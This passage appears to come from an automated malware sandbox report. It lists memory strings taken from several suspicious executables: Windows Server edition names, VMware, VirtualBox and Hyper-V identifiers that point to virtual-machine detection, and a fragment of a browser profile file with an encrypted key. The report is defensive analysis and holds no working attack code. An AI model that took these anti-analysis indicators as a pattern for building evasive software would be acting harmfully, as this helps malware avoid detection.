Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware8
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1668437615.0000000000636000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.000000000137F000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.00000000013C1000.00000004.00000020.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D75AB000.00000004.00000020.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D7615000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp, l9lSJ9GGGlvKrfyivpacgPFW.exe, 0000000B.00000002.2414621279.000000000216B000.00000004.00000020.00020000.00000000.sdmp, l9lSJ9GGGlvKrfyivpacgPFW.exe, 0000000B.00000002.2437684177.00000000047A0000.00000004.00000020.00020000.00000000.sdmp, l9lSJ9GGGlvKrfyivpacgPFW.exe, 0000000B.00000002.2414621279.0000000002129000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.1921605097.0000000001B64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001BE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_7274DE67C
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2255266209.0000000001701000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}STlHgJQj0BYf+yUmhjRWAAAAAAOgAAAAAIAACAAAAC4DJ/gXrxEkCShSgPuR88TPLDsToB926kMq4AOElbE2DAAAAD9nb0B9n3vNc4ySWeCJ2UCXsDAxWFDTKWreq9zi6WoUpqBua0y5iWVhcv68NcPWu9AAAAAXDRL3cQJqrqxT5vHZ2MwQhh/+yfS1tuZvzgxlh+Qj4uZwzoIaUZydz9IB/hM9RKm24b+ruVkk/hyYnjyrcL1og=="},"policy":{"last_statistics_update":"13361024565684793"},"profile":{"info_cache":{"Default":{"active_time":1716550968.270679,"avatar_icon":"chrome://theme/IDR_PROFILE_AVATAR_20","background_apps":false,"edge_account_first_name":"","edge_account_last_name":"","edge_account_oid":"","edge_account_sovereignty":0,"edge_account_tenant_id":"","edge_account_type":0,"edge_kids_mode":false,"edge_no_window_mode_incompatible_extension":false,"edge_test_on_premises":false,"edge_wam_aad_for_app_account_type":0,"force_signin_profile_locked":false,"gaia_given_name":"","gaia_id":"","gaia_name":"","hosted_domain":"","is_consented_primary_account":false,"is_ephemeral":false,"is_guest":false,"is_using_default_avatar":true,"is_using_default_name":true,"managed_user_id":"","metrics_bucket_index":1,"name":"Profile 1","shortcut_name":"Profile 1","signin.with_credential_provider":false,"user_name":""}},"last_active_profiles":["Default"],"metrics":{"next_bucket_index":2},"profile_counts_reported":"13361024561525477","profiles_order":["Default"]},"profile_network_context_service":{"http_cache_finch_experiment_groups":"None None None None"},"profiles":{"collect_potential_implicit_signin_data_started":true,"edge":{"implicit_signin":{"primary_error":14,"secondary_error":4,"telemetry_result":22},"multiple_profiles_with_same_account":false},"edge_sso_info":{"aad_sso_algo_state":1,"first_profile_key":"Default","msa_first_profile_key":"Default","msa_sso_algo_state":1},"signin_last_seen_version":"117.0.2045.47","signin_last_updated_time":1716550965.759155},"sentinel_creation_time":"13340807286316564","s
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: svchost.exe, 00000003.00000002.2914473373.0000026BC9A3F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: svchost.exe, 00000003.00000002.2914473373.0000026BC9A34000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000&00000
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2084327302.0000000005FC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: svchost.exe, 00000003.00000003.1662651998.0000026BC9A44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: xVBoxService.exe
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.1959248940.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.1955480107.00000000005A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeSDT\VBOX__
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001BE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_7274DE67
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: svchost.exe, 00000003.00000002.2914473373.0000026BC9A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\??\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}k
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.1944621531.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.1944731750.00000000005A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlp.exeSDT\VBOX__
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: VBoxService.exe
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.000000000140A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: svchost.exe, 00000003.00000002.2913603137.0000026BC9A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: VMWare
